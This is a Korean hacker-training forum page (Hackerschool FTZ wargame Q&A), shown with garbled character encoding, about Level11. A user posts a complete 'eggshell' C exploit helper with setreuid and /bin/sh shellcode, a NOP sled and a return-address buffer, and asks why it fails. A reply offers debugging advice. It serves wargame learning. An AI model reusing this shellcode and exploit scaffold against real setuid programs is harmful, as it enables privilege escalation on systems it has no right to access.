·¹º§ ÇØÅ·

 2844, 8/143 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   topkpr1004
   http://¾ø½À´Ï´Ù.
   Level11 ¿¡±×½©¹®Á¦..?

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2871 [º¹»ç]


ÈÄ.. ¾î¶»°Ô ÇÏ´Ùº¸´Ï.. ¿¡±×½©À» »ç¿ëÇϸé Ç®¼öÀÖ´Â ¹®Á¦¿´½À´Ï´Ù..

±×·±µ¥..

./attackme $RET À» ÇßÀ»¶§

illegar instruction ¿¡·¯°¡ ¶ß´Â±º¿ä

Ȥ½Ã³ª ½Í¾î¼­ ¿¡±×½© Äڵ带 ¿Ã¸³´Ï´Ù.. ¹¹°¡ À߸øµÈ°ÅÁÒ;;

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\x31\xc9"                   /*xor    %ecx,%ecx*/
  "\x66\xb9\x16\x0c"             /*mov    $0xc16,%cx*/
  "\x31\xdb"                   /*xor    %ebx,%ebx*/
  "\x66\xbb\x16\x0c"             /*mov    $0xc16,%bx*/
  "\x31\xc0"                   /*xor    %eax,%eax*/
  "\xb0\x46"                   /*mov    $0x46,%al*/
  "\xcd\x80"                        /*int    $0x80*/
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
  {
          if(i == 1040)
          {
                  *(addr_ptr++) = 0x1234567;
          }
          else
                  *(addr_ptr++) = addr;
  }
  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/sh");
}

  Hit : 3545     Date : 2009/05/16 04:36



    
jwkzzangs ¿¡±×½©ÀÌ Á¦°¡ ºÃ´ø°Å¶û Á» ´Ù¸¥°Å °°³×¿ä;;; ¿¡±×½© ´Ù¸¥°É·Î Çغ¸¼¼¿ä ±×¸®°í ½©ÄÚµå ¹Ø¿¡ 3ÁÙ¸¸ ÇÊ¿äÇϱ¸¿ä À§¿¡ °Ç setreuidÇϴ°ɰſ¡¿ä
±×°Å ²À ¾ø¾îµµ µÇ´Ï±î Áö¿öÁֽñ¸¿ä;;
2009/05/18  
2704     [re] ·¹º§4¿¡ Á¦ »ý°¢ÀÌ ¸Â´ÂÁö...[2]     Farcen
09/18 3554
2703   ·¹º§5... ·¹À̽ºÄÁµð¼Ç...[1]     Farcen
09/16 3550
2702     [re] [level3]-ÀÚ¼¼ÇÑ ³»¿ëÀÔ´Ï´Ù..[4]     kuh3h3
07/14 3549
2701   Á˼ÛÇѵ¥ ·¹º§4 Áú¹®Á» µå¸±°Ô¿ä...¤Ð[3]     qhoomi
09/23 3548
2700   level3¿¡ ´ëÇÑ ¼³¸í     koresong
03/25 3547
  Level11 ¿¡±×½©¹®Á¦..?[1]     topkpr1004
05/16 3544
2698   ¸í¿¹ÀÇ Àü´ç¿¡ ¿À¸£½Å ºÐµéµµ. ÀÌ°Å Á¤¸» ¾Ë°í ³Ñ¾î°¡¼Ì³ª¿ä?[Áú¹®]     bugfixer2
04/22 3541
2697   Ȳ´çÇÑ level3[17]     happykth1
09/26 3535
2696     [re] ·¹º§2 Á¦¹ß¿Ïº®ÇѴ亯¿ä..     ¼ÒÀ¯
09/18 3523
2695   ·¹º§4 Áú¹®ÀÔ´Ï´Ù[7]     hoyeng
08/06 3514
2694   -_-·¾3c¾ð¾î Çؼ®ºÒ°¡´É!!-_-Á¦±æ...[5]     alako88
09/09 3514
2693   ftz ȨÆäÀÌÁöÁ¢¼Ó[2]     ¿ù¿ù
12/10 3513
2692   ¾ÆÁ÷ ·¹º§1¿¡¼­ ÇظŴ Ãʺ¸ÀÔ´Ï´Ù...[5]     pepct
11/25 3513
2691   ·¹º§4°¡ ÀÌÇØ°¡ ¾ÈµÅ¿ä..     vngkgkx
09/06 3512
2690     [re] ·¹º§4¿¡¼­[4]     hkpco
10/03 3504
2689   level2 Ç®À̹ý.[7]     pogusm
12/08 3503
2688   [lord of bof FC4] titan Áú¹®ÀÖ½À´Ï´Ù!!!!!! Á¦¹ß[3]     ¿ìÀ×22
07/04 3502
2687   level1¿¡ ´ëÇÑ ¼³¸í[1]     koresong
03/25 3502
2686   ·¹º§ 12 ¿¡¼­ offset°ªÀ» ±¸ÇÏ´Â ÀÌÀ¯[1]     busjo
12/17 3500
2685     À½...[2]     bigfood
09/10 3488
[1][2][3][4][5][6][7] 8 [9][10]..[143]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org